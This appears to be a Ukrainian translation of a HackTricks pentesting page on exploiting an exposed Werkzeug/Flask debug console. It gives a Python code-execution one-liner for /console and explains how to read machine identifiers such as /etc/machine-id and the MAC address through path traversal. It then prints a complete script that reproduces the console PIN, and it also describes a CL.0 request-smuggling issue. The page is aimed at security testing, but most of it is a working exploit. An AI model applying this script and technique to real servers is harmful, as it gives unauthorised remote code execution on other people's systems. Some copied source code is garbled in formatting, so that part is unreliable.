13 KiB
Werkzeug / Flask Debug
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Миттєво доступна установка для оцінки вразливостей та пентестингу. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Console RCE
Якщо налагодження активне, ви можете спробувати отримати доступ до /console
і отримати RCE.
__import__('os').popen('whoami').read();
В інтернеті також є кілька експлойтів, таких як цей або один у metasploit.
Захищений PIN - Перехід по шляху
В деяких випадках /console
кінцева точка буде захищена PIN-кодом. Якщо у вас є вразливість до переходу по файлах, ви можете витягти всю необхідну інформацію для генерації цього PIN-коду.
Експлойт PIN-коду консолі Werkzeug
Примусьте сторінку помилки налагодження в додатку, щоб побачити це:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Повідомлення щодо сценарію "консоль заблокована" з'являється при спробі доступу до інтерфейсу налагодження Werkzeug, що вказує на необхідність введення PIN-коду для розблокування консолі. Пропонується експлуатувати PIN-код консолі, аналізуючи алгоритм генерації PIN-коду у файлі ініціалізації налагодження Werkzeug (__init__.py
). Механізм генерації PIN-коду можна вивчити з репозиторію вихідного коду Werkzeug, хоча рекомендується отримати фактичний код сервера через вразливість обходу файлів через потенційні розбіжності версій.
Для експлуатації PIN-коду консолі потрібні два набори змінних: probably_public_bits
та private_bits
:
probably_public_bits
username
: Відноситься до користувача, який ініціював сесію Flask.modname
: Зазвичай позначається якflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Зазвичай розв'язується в Flask.getattr(mod, '__file__', None)
: Представляє повний шлях доapp.py
у каталозі Flask (наприклад,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Якщоapp.py
не застосовується, спробуйтеapp.pyc
.
private_bits
uuid.getnode()
: Отримує MAC-адресу поточної машини, зstr(uuid.getnode())
перетворюючи її в десятковий формат.- Щоб визначити MAC-адресу сервера, потрібно ідентифікувати активний мережевий інтерфейс, що використовується додатком (наприклад,
ens3
). У випадках невизначеності, використайте/proc/net/arp
для знаходження ID пристрою, потім витягніть MAC-адресу з/sys/class/net/<device id>/address
. - Перетворення шістнадцяткової MAC-адреси в десяткову можна виконати, як показано нижче:
# Приклад MAC-адреси: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Об'єднує дані з/etc/machine-id
або/proc/sys/kernel/random/boot_id
з першим рядком/proc/self/cgroup
після останнього слеша (/
).
Код для `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Після збору всіх необхідних даних, експлoit-скрипт може бути виконаний для генерації PIN-коду консолі Werkzeug:
Після збору всіх необхідних даних, експлoit-скрипт може бути виконаний для генерації PIN-коду консолі Werkzeug. Скрипт використовує зібрані `probably_public_bits` та `private_bits` для створення хешу, який потім підлягає подальшій обробці для отримання фінального PIN-коду. Нижче наведено код Python для виконання цього процесу:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні сіль (cookiesalt
та pinsalt
) і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для probably_public_bits
та private_bits
потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN очікуваному в консолі Werkzeug.
{% hint style="success" %} Якщо ви використовуєте стару версію Werkzeug, спробуйте змінити алгоритм хешування на md5 замість sha1. {% endhint %}
Unicode символи Werkzeug
Як було помічено в цьому питанні, Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в цьому описі, це може викликати вразливість CL.0 Request Smuggling.
Це пов'язано з тим, що в Werkzeug можливо відправити деякі Unicode символи, і це призведе до зламу сервера. Однак, якщо HTTP з'єднання було створено з заголовком Connection: keep-alive
, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому тіло запиту буде розглядатися як наступний HTTP запит.
Автоматизоване використання
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
Посилання
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
Миттєво доступна установка для оцінки вразливостей та тестування на проникнення. Проведіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, зламу оболонок і отримання задоволення.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, подаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.